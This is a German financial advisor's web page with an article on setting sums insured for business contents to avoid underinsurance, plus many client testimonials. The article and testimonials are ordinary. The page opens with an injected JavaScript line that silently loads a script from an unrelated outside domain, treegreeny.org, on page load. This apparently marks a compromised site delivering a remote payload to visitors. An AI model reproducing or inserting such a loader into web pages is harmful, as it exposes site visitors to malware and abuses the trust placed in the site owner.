;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Wichtig - Korrekte Bemessung von Versicherungssumme

Dipl. Wirtschafts-Ing. Thomas Eckert | Telefon +49 (2151) 47 98 26 8 | E-Mail info@vermoegensberatung-eckert.de

Vertragsmanagement – korrekte Bemessung von Versicherungssummen

3. Juni 2015

Wenn Sie Ihren Geschäftsinhalt (Einrichtung, Waren, Vorräte etc.) versichern wollen, werden Sie immer nach der gewünschten Versicherungssumme gefragt. Die Versicherungssumme soll den Wert der zu versichernden Sachen widerspiegeln und stellt die Begrenzung der Entschädigung dar, die Sie aus dem Versicherungsvertrag erhalten. „So einfach“, könnte man denken. Doch bei der Bemessung der Versicherungssumme kann es auch zu Fehleinschätzungen kommen, oder sie wird nicht entsprechend sich änderndem Bedarf angepasst. Weicht sie zu stark vom tatsächlichen Wert der versicherten Sachen ab, hat das Folgen für die Schadenregulierung. Deshalb kommt es vor allem darauf an, sie korrekt zu bestimmen und regelmäßig zu überprüfen.

Ideal: Versicherungssumme = Versicherungswert

Bei der Schadenversicherung geht man in den meisten Fällen von einer sogenannten Vollwertversicherung aus, das heißt, es soll möglichst der volle Wert der zu versichernden Sache(n) versichert werden. Dieser Wert soll sich in der Versicherungssumme niederschlagen. Wenn Sie Ihr Inventar, Ihre Waren und Ähnliches gegen Schäden versichern wollen, dann sollte dies in Gänze, also zum vollen und tatsächlichen Wert, geschehen.

Denn versichern Sie, gleich ob wissentlich oder aufgrund einer Fehleinschätzung, etwa nur die Hälfte des tatsächlich vorhandenen Wertes, spricht man von einer Unterversicherung. Und diese hat im Schadenfall Auswirkungen auf die Höhe der Entschädigungszahlung.

Wenn die Versicherungssumme nicht stimmt …

Im Schadenfall lässt sich bei einer Unterversicherung nicht feststellen, welche Hälfte des tatsächlichen Wertes versichert gewesen ist. Die Folge ist, dass die Entschädigungsleistung im Verhältnis der Versicherungssumme zum tatsächlichen Versicherungswert gekürzt wird. Ist also nur die Hälfte des tatsächlichen Wertes von der Versicherungssumme erfasst, wird auch nur die Hälfte des entstandenen Schadens reguliert.

Die Ursachen für eine Unterversicherung können sehr unterschiedlich sein. Oft geraten Betriebe über die Jahre schleichend in eine Unterversicherung. Es werden über einen größeren Zeitraum immer wieder neue Anschaffungen und Investitionen in Einrichtung, Maschinen, Informationstechnik oder Ähnlichem getätigt, was natürlich den Gesamtwert der zu versichernden Sachen steigen lässt. Ein Teil davon wird zwar von der standardmäßigen Vorsorge in Höhe von zehn Prozent der Versicherungssumme kompensiert. Lässt man jedoch solche Wertveränderungen über Jahre oder bei größeren Investitionen außer Acht, ist die Grenze schnell erreicht. Wird der Versicherungsschutz nicht entsprechend angepasst, kann sich dies im Schadenfall böse rächen.

Wie lässt sich eine Unterversicherung verhindern?

Ein probates Mittel gegen die schleichende Unterversicherung, vor allem aufgrund von allgemeinen Preissteigerungen (Inflation), ist die sogenannte Dynamik. Diese Vereinbarung regelt, dass sich die Versicherungssumme jährlich um einen bestimmten Prozentsatz erhöht. Dieser richtet sich nach der Entwicklung der Erzeugerpreise für gewerbliche Produkte. Die AachenMünchener bietet diese Dynamik zum Schutz der Versicherungsnehmer standardmäßig in ihren Produkten an. Bei einigen Produkten ist mit Hinweis auf die Gefahr der Unterversicherung der Ausschluss auf ausdrücklichen Wunsch jedoch auch möglich. Allerdings entfällt dann die zusätzlich von der AachenMünchener angebotene Vorsorge in Höhe von zehn Prozent der Versicherungssumme.

Natürlich können die Versicherungssummen jederzeit verändert werden, wenn sich aufgrund einer Investition oder bei Wegfall von Teilen des Geschäftsinhaltes der Versicherungswert deutlich verändert. Die Versicherungssumme kann demnach auch zu hoch sein und deutlich über dem tatsächlich vorhandenen Wert liegen. In diesem Fall spricht man von einer Überversicherung. Daraus erwächst Ihnen so gesehen kein Nachteil in einem Schadenfall, jedoch bleibt die Entschädigung auf den tatsächlichen Schaden begrenzt, und Sie zahlen Beitrag für einen Teil der Versicherungssumme, den Sie nicht benötigen. In jedem Fall empfiehlt es sich, die vereinbarte Versicherungssumme regelmäßig zu überprüfen beziehungsweise überprüfen zu lassen, um eine Unterversicherung zu verhindern. Um nicht schleichend in eine Unterversicherung zu geraten oder aufgrund weg gefallener Risiken dauerhaft überversichert zu sein, so dass Sie mehr Beitrag zahlen, als Sie müssten, raten ich Ihnen die Versicherungsumme regelmäßig, zum Beispiel in einem jährlichen Gespräch , überprüfen zu lassen und bei Bedarf anzupassen.

Oft hilft ein solches Jahresgespräch, auch anderweitigen Absicherungsbedarf festzustellen und Deckungslücken zu schließen. Ein häufig auftretender Aspekt ist beispielsweise die Versicherung der sogenannten weiteren Elementargefahren, zu denen auch die Überschwemmungsgefahr (zum Beispiel bei Starkregen) zählt. Gerade Versicherungsnehmer in normalerweise nicht so stark betroffenen Regionen mussten in diesem von schweren Unwettern begleiteten Jahr schmerzlich feststellen, dass sie keinen adäquaten Versicherungsschutz hatten und buchstäblich auf ihrem Schaden sitzen blieben. Ein regelmäßiges Gespräch mit einem nachhaltigen Berater hätte dies möglicherweise verhindern können.

Ich berate Sie gerne – Rufen Sie mich einfach an!

Referenzen

Das sagen Kunden über mich als ihren persönlichen Berater

Ehrliche Kundenbewertungen sind die beste Entscheidungsgrundlage für die Wahl eines Beraters.

Dean P. (Mülheim) - Gebietsverkaufsleiter

Herr Eckert begleitet mich nun schon seit mehreren Jahren, wobei Vertrauen, die Vermittlung zu guten und vor allem nötigen und sinnvollen Produkten immer im Vordergrund stehen. Auf Herrn Eckert ist Verlass, wenn nicht sofort erreichbar, kommt immer ein zeitnaher Rückruf eine kompetente und verlässliche Beratung und das Gefühl für die Zukunft, mit seiner Hilfe alles richtig gemacht zu haben.

Rainer B. (Essen) - Controller

Neben seiner stark ausgeprägten Kundenorientierung und hohen fachlichen Kompetenz schätze ich an Thomas Eckert besonders sein nachhaltiges Engagement bei der Klärung jeder Fragestellung. Auch nach inzwischen acht Jahren, in denen Thomas Eckert mich und meine Familie erfolgreich berät, überzeugt mich immer wieder, dass er für mich und meine Fragen jederzeit ein offenes Ohr hat und insbesondere, dass ich mich auf eine umgehende Antwort und Lösung des Problems verlassen kann.

Dominik D. (Köln) - Projektingenieur

Ich kenne Thomas durchs Studium und bin froh jemanden zu haben, dem ich blind vertrauen kann. Ein Anruf, eine Mail, und alles wird sofort eingeleitet. Sehr zuverlässig und sehr kompetent. Da muss man sich keine Sorgen mehr machen.

Julia K. (Schermbeck) - Krankenschwester

Wir sind nun schon lange unter Herrn Eckerts Obhut und sind zu 100% zufrieden. Er ist immer erreichbar, verlässlich und sehr vertrauenswürdig. Er geht individuell auf unsere Bedürfnisse ein, berücksichtigt unsere finanziellen Möglichkeiten und was in unserem Alter sinnvoll ist abzuschließen und wofür man sich auch noch Zeit lassen kann. Wir würden zu niemand anderem gehen.

Heiko R. (Dorsten) - Projektleiter

Herr Eckert ist zeitlich flexibel und umfassend beratend. Wir haben viele Bereiche prüfen lassen und auch mal gute Kritiken bekommen für Abschlüsse, die noch vor seiner Beratungszeit. Wünsche nach Angeboten wurden so zu sagen „Schlüsselfertig“ vorbereitet und vertrauensvoll abgeschlossen. Wir sind sehr zufrieden mit íhm und haben keine Mängel an seiner Arbeit. Immer wieder gerne von ihm beraten zu werden. Absolut empfehlenswert !!

David-Charles K. (Witten) - Informatiker

Die kompetente und sehr freundliche Beratung bei den ersten Kontakten vermittelte ein sehr gutes Start-„Gefühl“, welches sich über die vielen Jahre der Betreuung gehalten und verstärkt hat. Mittlerweile hat sich ein Vertrauen aufgebaut, welches wir nicht erwartet hatten und freuen uns sehr, jemanden wie Thomas Eckert an unserer Seite zu wissen. Wir freuen uns auf die kommenden Projekte! Danke.

Thomas M. (Brühl) - Industriemechaniker

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Annika K. (Düsseldorf) - Opernsängerin

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Ullrich A. (Bochum) - Apotheker

Thomas Eckert ist äußerst kompetent, sachlich, sehr zuverlässig, erklärt spezielle Fragen auch solange und öfters, bis die Antworten verstanden sind, legt sich wichtige Termine auf Wiedervorlage, damit wirklich nichts „anbrennt“, kann ich unbedingt und ohne jede Einschränkung jedem empfehlen, der sich um die Verwaltung seines (auch sehr kleinen!!) Vermögens nicht alleine kümmern will.

Michael K. (Schermbeck) - Elektrotechniker

Meine große Zufriedenheit in der Beratung durch Herrn Eckert basiert auf der Tatsache, dass er wirklich weiß wovon er spricht. Er ist ein sehr guter Zuhörer, analysiert und hinterfragt. Die Ergebnisse können sich wirklich sehen lassen, ich empfehle Herrn Eckert sehr gerne weiter.

Annika S. (Bochum) - Pflegedienstleitung

Herr Eckert ist mir ein sehr zuverlässiger Finanzberater, den ich jederzeit erreichen kann und der mir mit persönlichem Engagement immer und in allen Fragen kompetent zur Seite steht. Mit unvermindertem Einsatz kümmert er sich auch um bereits seit längerem bestehende Verträge.

Michael S. (Bochum) - Gymnasiallehrer

Herr Eckert hat uns vollumfassend und kompetent zu den Themen Bausparen und Riester-Rente beraten. Auch die „Nachsorge“ läuft hervorragend. Ich empfehle ihn uneingeschränkt weiter!

Heike F. (Dülmen) - Rentnerin

Ich bin sehr dankbar, in einer schwierigen Lebenssituation jemanden „an der Seite“ zu haben, der sich persönlich, kompetent und vertrauensvoll um alles kümmert, wovon ich nicht genug Ahnung habe und es mir auch noch verständlich machen kann. Ob es um meine eigene Riesterrente, alle anstehenden Neuversicherungen der Kinder bei Einstieg ins Berufsleben oder die Einschätzung und Neuregelung aller sonstigen Versicherungsangelegenheiten geht, Herr Eckert hat sich immer wieder zeitnah für uns eingesetzt und uns dabei vor allem durchgehend auch super informiert. Eine Betreuung, die ich gerne immer wieder weiterempfehle.

Tino H. (Recklinghausen) - Florist

Ich bin seit Jahren Mandant bei Herrn Eckert. Ich kann nur Gutes berichten und fühle mich wirklich richtig gut beraten! In den letzten Jahren wurde mir immer mit Rat und Tat bei Seite gestanden,und ich bin wirklich zufrieden! Ich habe das Gefühl das ich bei Herrn Eckert gut aufgehoben bin und man sich wirklich um meine Anliegen und Probleme kümmert. Ich werde nicht vertröstet, oder via Brief ins Büro zu deren Sprechzeiten gebeten!!Herr Eckert versucht sogar telefonisch Dinge zu klären, da ich selten in sein Büro kann!! Ich habe oft das Gefühl das ich hierbei das RUND-UM-SORGLOS-PAKET habe!

Yvonne J. (Oberhausen) - MFA

Seit sehr vielen Jahren hat Herr Eckert mein vollstes Vertrauen und ich kann mir keinen anderen Berater mehr vorstellen. Egal um welche Fragen es geht, er hat immer ein offenes Ohr und versucht das bestmöglichste für seine Kunden. Ganz besonders fand ich es, das er mich zu meinem Arbeitgeber begleitet hat, als es um meine betriebliche Altersvorsorge ging. Und als wir uns überlegt haben eine Eigentumswohnung zu kaufen, da gab es so viele Fragen und er war immer für uns da. Ich bin sehr zufrieden…

Ulrike W. (Marl) - Lohnsteuerberaterin

Herr Eckert ist ein sehr zuverlässiger Berater, immer zu erreichen oder ruft sofort zurück. Er ist sehr bemüht ein optimales Ergebnis zu erzielen, damit wir als Kunden zufrieden sind. Ein Berater der unser Vertrauen hat und den wir gerne weiter empfehlen.

Christina B. (Haltern am See) - Goldschmiedin

Ich bin schon sehr lange Kundin von Herrn Eckert. Bei Fragen steht er mir jeder Zeit zu Verfügung und hilft immer prompt wo es nur geht. Das Engagement von Herrn Eckert, sowie seine Zuverlässigkeit sind wirklich hervorragend. Ich könnte mir keinen besseren Berater vorstellen. Wirklich zu empfehlen. Alles Top.

Norbert L. (Herten) - Kaufmännischer Angestellter

Ohne die Meinung von Thomas Eckert werde ich keine Entscheidung mehr treffen. Endlich mal ein Finanz- und Versicherungsberater, der nicht nur verkaufen will, sondern ehrlich und bedarfsgerecht berät. Ihn kann man mit ruhigem Gewissen weiterempfehlen.

Julia M. (Unna) - Versicherungskauffrau

Herr Eckert hat uns stets bestens beraten. Sehr professionell und hat für uns das beste Finanzierungsangebot unterbreitet. Er kümmert sich sofort um alle Belange und hat mit seinem Netzwerk der Düsseldorfer Runde Experten zu allen Themenbereichen verfügbar. Das ist wirklich klasse! Herr Eckert hat unser vollstes Vertrauen!

Nora K. (Witten) - Apothekerin

Bei unserer Baufinanzierung im Jahr 2005 hat uns Herr Eckert schon sehr gut beraten und für uns die besten Konditionen herausgeholt. Als jetzt die Umschuldung anstand hatte er alle Termine im Überblick und uns wieder fachlich überzeugt. Vielen Dank für die tolle Betreuung!